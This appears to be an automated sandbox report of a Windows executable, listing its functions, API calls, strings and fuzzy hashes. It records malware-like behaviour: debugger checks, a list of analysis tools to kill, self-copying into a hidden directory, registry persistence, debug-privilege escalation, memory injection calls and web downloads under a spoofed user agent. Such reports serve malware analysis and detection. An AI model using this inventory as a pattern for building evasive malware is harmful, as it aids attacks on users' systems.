CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523945
SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523958
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF67352396D
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523980
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523995

Strings

.exe, xrefs: 00007FF673523986

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: lstrcat$Directory$AttributesCreateFileFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 1846285901-4119554291
Opcode ID: 4d26158de2af8381748b2d04efe2df67fec403f4766650bccdbd64d4b22479f1
Instruction ID: 75e3ef2c92240a273f4260006f449dda1864f391cb6cc2a9f2b436ae5bea0887
Opcode Fuzzy Hash: 4d26158de2af8381748b2d04efe2df67fec403f4766650bccdbd64d4b22479f1
Instruction Fuzzy Hash: 6D1130A27389C686FB60DF25F95676A6361FBD4B80F405031DA8E93A29DE3CD408CB00

Function 00007FF673523A74 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF673523744: GetWindowsDirectoryW.KERNEL32 ref: 00007FF673523784
Part of subcall function 00007FF673523744: GetVolumeInformationW.KERNELBASE ref: 00007FF673523801
Part of subcall function 00007FF673523744: wsprintfW.USER32 ref: 00007FF6735238A2

Part of subcall function 00007FF6735238C4: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF67352390D
Part of subcall function 00007FF6735238C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523922
Part of subcall function 00007FF6735238C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523935
Part of subcall function 00007FF6735238C4: CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523945
Part of subcall function 00007FF6735238C4: SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523958
Part of subcall function 00007FF6735238C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF67352396D
Part of subcall function 00007FF6735238C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523980
Part of subcall function 00007FF6735238C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523995

GetModuleFileNameW.KERNEL32 ref: 00007FF673523AB9
DeleteFileW.KERNELBASE ref: 00007FF673523AC4
CopyFileW.KERNELBASE ref: 00007FF673523ADD
SetFileAttributesW.KERNEL32 ref: 00007FF673523AF5

Strings

Services, xrefs: 00007FF673523B00

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: Filelstrcat$AttributesDirectory$CopyCreateDeleteFolderInformationModuleNamePathVolumeWindowswsprintf
String ID: Services
API String ID: 3209240227-2319745855
Opcode ID: cabd95d3c80652fe8b367c9eb5d64b267906483226546c4ea9003bdd6899bef0
Instruction ID: 03f8421d699cd9df4c5b2f20d263f2bb8c8c4d7741793bd39dc0b98e58216696
Opcode Fuzzy Hash: cabd95d3c80652fe8b367c9eb5d64b267906483226546c4ea9003bdd6899bef0
Instruction Fuzzy Hash: EF0192A3B2898292FF60DB24E5563AA53A0FB94744F804432D74DD35A9EF2DD20ECB00

Function 00007FF673523744 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32 ref: 00007FF673523784
GetVolumeInformationW.KERNELBASE ref: 00007FF673523801
wsprintfW.USER32 ref: 00007FF6735238A2

Strings

%08lX%04lX%lu, xrefs: 00007FF673523893

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu
API String ID: 3001812590-640692576
Opcode ID: 740950ab7a4208dc5b437e8a53e5df2709b55f7c6f134fefe08efd8bb3628865
Instruction ID: 8d53afc3a8e89a31aeed19712748aca004de9703b22280dd04f05096f9ff35db
Opcode Fuzzy Hash: 740950ab7a4208dc5b437e8a53e5df2709b55f7c6f134fefe08efd8bb3628865
Instruction Fuzzy Hash: 7131076762C6C186EB30DB64E5993AAB3A0FB84700F401136E68DD7A58EF7EC508CF00

Function 00007FF67352321C Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF67352346D), ref: 00007FF673523220
GetCurrentProcess.KERNEL32 ref: 00007FF673523236
CheckRemoteDebuggerPresent.KERNELBASE ref: 00007FF673523244

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: DebuggerPresent$CheckCurrentProcessRemote
String ID:
API String ID: 3920101602-0
Opcode ID: 5a6d4a932f5469025ed13b66ad34693541af773f9e8b826c55cb2142a42793b4
Instruction ID: 58c01f4231b4ff19d760c011a6bb81399a06a02490fa571af09f6243a7366014
Opcode Fuzzy Hash: 5a6d4a932f5469025ed13b66ad34693541af773f9e8b826c55cb2142a42793b4
Instruction Fuzzy Hash: C1F0A7A391C282C1F730CB65B60637927E0BF55B08F001174D98DA6595CF3DE509DF11

Function 00007FF673521050 Relevance: 3.0, APIs: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00007FF673521063
GetProcAddress.KERNEL32 ref: 00007FF673521078

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 93e6198b99d5b023e326d4442bf2863252b60b3359320dbad58740b6c0f3b775
Instruction ID: 3cef7c48a46292b0bc20e5c873db6a907cfbb5bce4c21a76f6c783e9bb82e175
Opcode Fuzzy Hash: 93e6198b99d5b023e326d4442bf2863252b60b3359320dbad58740b6c0f3b775
Instruction Fuzzy Hash: 5EE09276519F8086D620DB15F84101AB7B4FBC8794F504125EBCD82B28DF3CC169CB04

Function 00007FF673523B54 Relevance: 1.3, APIs: 1, Instructions: 10
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00007FF673523B70

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b541e8117daad4751c7a279db5381b441ce47fb4f749190da09f5cfabf446e69
Instruction ID: a639383e44d1b5bb1d173d196fb059ab8c9f5e159f01b70efb9482186c269864
Opcode Fuzzy Hash: b541e8117daad4751c7a279db5381b441ce47fb4f749190da09f5cfabf446e69
Instruction Fuzzy Hash: 5EC012B1F2518083D71CDF21E451A0A2A10A744740F504028D60157744CD3DC1514F04

Function 00007FF673523B24 Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE ref: 00007FF673523B42

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c74ceee972ecbb736572674712f2cdca0c3e821b549de7bb17b5936316a1e88a
Instruction ID: c29d5136f882e2a091c5055ae212d93c6b2e11d1bc9957568acbbb02becf1ab5
Opcode Fuzzy Hash: c74ceee972ecbb736572674712f2cdca0c3e821b549de7bb17b5936316a1e88a
Instruction Fuzzy Hash: 51D01262E3898181FB94DB26E98A729A3A0FFC4B44F808035E68991564CF3DC0998F00

Non-executed Functions

Function 00007FF6735240E4 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 75synchronizationCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF67352414B
OpenProcessToken.ADVAPI32 ref: 00007FF67352415E
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF673524186
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6735241B1
CloseHandle.KERNEL32 ref: 00007FF6735241BC
OpenProcess.KERNEL32 ref: 00007FF6735241D1
WaitForSingleObject.KERNEL32 ref: 00007FF67352422C
CloseHandle.KERNEL32 ref: 00007FF673524249

Strings

SeDebugPrivilege, xrefs: 00007FF67352417D

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: Process$CloseHandleOpenToken$AdjustCurrentLookupObjectPrivilegePrivilegesSingleValueWait
String ID: SeDebugPrivilege
API String ID: 2379135442-2896544425
Opcode ID: 6555fb06984b99f5dc155d762adf927f354496d136c17024d6a4529462c8518f
Instruction ID: 799eb3d35890b32adab7d53f454706652c98f0635d02b7ba5e9719119017753a
Opcode Fuzzy Hash: 6555fb06984b99f5dc155d762adf927f354496d136c17024d6a4529462c8518f
Instruction Fuzzy Hash: A8415AB3628A8186F350CB51F54976AB7A0FBC4794F504138EA8997AA8CFBDD448CF00

Function 00007FF673522CB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82memoryinjectionCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32 ref: 00007FF673522D6F
WriteProcessMemory.KERNEL32 ref: 00007FF673522DC1
VirtualProtectEx.KERNEL32 ref: 00007FF673522DF7

Strings

@, xrefs: 00007FF673522D54

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: Virtual$AllocMemoryProcessProtectWrite
String ID: @
API String ID: 4073123320-2766056989
Opcode ID: f3439f0f28ca5504b0ff3065ed7b98b6ad7e1e81e5eec6f55742a1d8705483ff
Instruction ID: cef55e98ebf0c69335015175ce2dbd246b315c54d17bdf6b9c7537d50b9b867e
Opcode Fuzzy Hash: f3439f0f28ca5504b0ff3065ed7b98b6ad7e1e81e5eec6f55742a1d8705483ff
Instruction Fuzzy Hash: 8741E17661CA8986E7B0CB15E54536AB7A0F788B88F104025EACD93B58DF7DD4488B40

Function 00007FF673521CDC Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 138networksleepmemoryCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF673521D20
Sleep.KERNEL32 ref: 00007FF673521D38
InternetOpenUrlW.WININET ref: 00007FF673521D64
InternetOpenUrlW.WININET ref: 00007FF673521D9B
InternetCloseHandle.WININET ref: 00007FF673521DB3
Sleep.KERNEL32 ref: 00007FF673521DBE
HttpQueryInfoA.WININET ref: 00007FF673521DEE
InternetCloseHandle.WININET ref: 00007FF673521DFD
InternetCloseHandle.WININET ref: 00007FF673521E08
Sleep.KERNEL32 ref: 00007FF673521E13
InternetCloseHandle.WININET ref: 00007FF673521E2D
InternetOpenUrlW.WININET ref: 00007FF673521E57
InternetCloseHandle.WININET ref: 00007FF673521E6F
Sleep.KERNEL32 ref: 00007FF673521E7A
HttpQueryInfoA.WININET ref: 00007FF673521EB2
GetProcessHeap.KERNEL32 ref: 00007FF673521EC1
RtlAllocateHeap.NTDLL ref: 00007FF673521ED7
InternetCloseHandle.WININET ref: 00007FF673521EEF
InternetCloseHandle.WININET ref: 00007FF673521EFA
InternetReadFile.WININET ref: 00007FF673521F37
InternetCloseHandle.WININET ref: 00007FF673521F6D
InternetCloseHandle.WININET ref: 00007FF673521F78

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3, xrefs: 00007FF673521D19

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: Internet$CloseHandle$OpenSleep$HeapHttpInfoQuery$AllocateFileProcessRead
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
API String ID: 2307068205-2771526726
Opcode ID: 1d6439b4b7b4c33b889769c58a8dd001a4713a0aee7d85e729a6ddd97db8bc66
Instruction ID: ea33105086c14a34283b8e9dc07dc9c4e75e7fc5e1a3cf090403aefed3ee2e04
Opcode Fuzzy Hash: 1d6439b4b7b4c33b889769c58a8dd001a4713a0aee7d85e729a6ddd97db8bc66
Instruction Fuzzy Hash: 4671E7B662CA81C2F750CB54F99632AB7A0FBC4795F501035FA8E93A68CF7CD5448B00

Function 00007FF6735246E4 Relevance: 25.7, APIs: 17, Instructions: 155memoryfileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF67352472B
GetFileSize.KERNEL32 ref: 00007FF67352474C
GetProcessHeap.KERNEL32 ref: 00007FF673524762
RtlAllocateHeap.NTDLL ref: 00007FF67352477B
CloseHandle.KERNEL32 ref: 00007FF673524793

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: FileHeap$AllocateCloseCreateHandleProcessSize
String ID:
API String ID: 2693768547-0
Opcode ID: 4e31ffde3c8b45f3337ce6ae119efcfc5e37158fb3e9376a1b8de9c2123a5d47
Instruction ID: f4806e52c35878a711c47151b4c64e93dfb167f21e65489974c2c0d28f37ef16
Opcode Fuzzy Hash: 4e31ffde3c8b45f3337ce6ae119efcfc5e37158fb3e9376a1b8de9c2123a5d47
Instruction Fuzzy Hash: 0581E9B661CB8186EB60CB56F58536AB7A0FBC9B91F104135EE9D93B68DF7CD0448B00

Function 00007FF6735230DC Relevance: 16.5, APIs: 1, Strings: 10, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6735245C4: CreateFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523117), ref: 00007FF67352460C
Part of subcall function 00007FF6735245C4: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523117), ref: 00007FF673524649
Part of subcall function 00007FF6735245C4: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523117), ref: 00007FF673524654

Part of subcall function 00007FF673523B84: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF67352311C), ref: 00007FF673523BC7
Part of subcall function 00007FF673523B84: RegSetValueExW.ADVAPI32 ref: 00007FF673523BFD
Part of subcall function 00007FF673523B84: RegCloseKey.ADVAPI32 ref: 00007FF673523C0C

Part of subcall function 00007FF673523C24: RegDeleteKeyW.ADVAPI32 ref: 00007FF673523C3C

Part of subcall function 00007FF673523E24: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF673523E37

Part of subcall function 00007FF673523E24: Process32FirstW.KERNEL32 ref: 00007FF673523E6A
Part of subcall function 00007FF673523E24: CloseHandle.KERNEL32 ref: 00007FF673523E7C

Part of subcall function 00007FF673523E24: wcscmp.MSVCRT ref: 00007FF673523E91
Part of subcall function 00007FF673523E24: OpenProcess.KERNEL32 ref: 00007FF673523EA7
Part of subcall function 00007FF673523E24: TerminateProcess.KERNEL32 ref: 00007FF673523ECA
Part of subcall function 00007FF673523E24: CloseHandle.KERNEL32 ref: 00007FF673523ED8
Part of subcall function 00007FF673523E24: Process32NextW.KERNEL32 ref: 00007FF673523EEB
Part of subcall function 00007FF673523E24: CloseHandle.KERNEL32 ref: 00007FF673523EFD

Part of subcall function 00007FF6735239B4: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,00007FF673523B0C), ref: 00007FF6735239E4

Sleep.KERNEL32 ref: 00007FF6735231C6

Strings

TOTALCMD.exe, xrefs: 00007FF673523166
ProcessHacker.exe, xrefs: 00007FF673523142
procexp64.exe, xrefs: 00007FF67352315A
procmon.exe, xrefs: 00007FF6735231A2
idaq64.exe, xrefs: 00007FF67352317E
x64dbg.exe, xrefs: 00007FF673523172
procexp.exe, xrefs: 00007FF67352314E
autoruns.exe, xrefs: 00007FF673523196
idaq.exe, xrefs: 00007FF67352318A
Services, xrefs: 00007FF6735231B5

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: Close$Handle$Open$CreateFileProcessProcess32$AttributesDeleteFirstNextSleepSnapshotTerminateToolhelp32Valuewcscmp
String ID: ProcessHacker.exe$Services$TOTALCMD.exe$autoruns.exe$idaq.exe$idaq64.exe$procexp.exe$procexp64.exe$procmon.exe$x64dbg.exe
API String ID: 2853470409-928700279
Opcode ID: 214aab143e36c6a3a1886c25ccf32431eea88663dedd73175290a620f2c5ce1f
Instruction ID: 2171b74098b6a8a938c782430d79c6249117c514e15c0e4967d3b9a08af624bb
Opcode Fuzzy Hash: 214aab143e36c6a3a1886c25ccf32431eea88663dedd73175290a620f2c5ce1f
Instruction Fuzzy Hash: EC2162E2B3894295FA04EB20EA935B863A0AF60750F900631E45DE22E6DF7DF9098641

Function 00007FF673522E6C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 32synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF673522E85
ReleaseMutex.KERNEL32 ref: 00007FF673522E9D
CloseHandle.KERNEL32 ref: 00007FF673522EA8
GetLastError.KERNEL32 ref: 00007FF673522EB5
ReleaseMutex.KERNEL32 ref: 00007FF673522EC7
CloseHandle.KERNEL32 ref: 00007FF673522ED2

Strings

rbNSpGEsyb, xrefs: 00007FF673522E70

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID: rbNSpGEsyb
API String ID: 299056699-189039185
Opcode ID: c0b91fde05768c042ee2ac6d43adbd0a2db16a5cee25255770f8e6d070b9d3af
Instruction ID: 502145b64caa129fe03db371f596b00a4d24e0316bb50a81a006879db5b0a973
Opcode Fuzzy Hash: c0b91fde05768c042ee2ac6d43adbd0a2db16a5cee25255770f8e6d070b9d3af
Instruction Fuzzy Hash: 0201A567A2CA8281F720DB11E95627D6760FB9CB99F440131E94EE2665CF3CD5859600

Function 00007FF673523E24 Relevance: 13.5, APIs: 9, Instructions: 44processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF673523E37
Process32FirstW.KERNEL32 ref: 00007FF673523E6A
CloseHandle.KERNEL32 ref: 00007FF673523E7C

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 5d86f73275321031dd76b49c9948b61abcc843b1cbc31f42c8ec41072895b809
Instruction ID: 9ea8f4915bf1e342e45b6bc16978888e345067fce3d58b99f03cc7aa981aa04f
Opcode Fuzzy Hash: 5d86f73275321031dd76b49c9948b61abcc843b1cbc31f42c8ec41072895b809
Instruction Fuzzy Hash: 2A21FEB2A2CAC681F770DB11F94A36AA360FFD4B54F004235D99E926A9DF3DD449CB00

Function 00007FF673522F0C Relevance: 12.0, APIs: 8, Instructions: 31synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF673522F1E
ReleaseMutex.KERNEL32 ref: 00007FF673522F36
CloseHandle.KERNEL32 ref: 00007FF673522F41
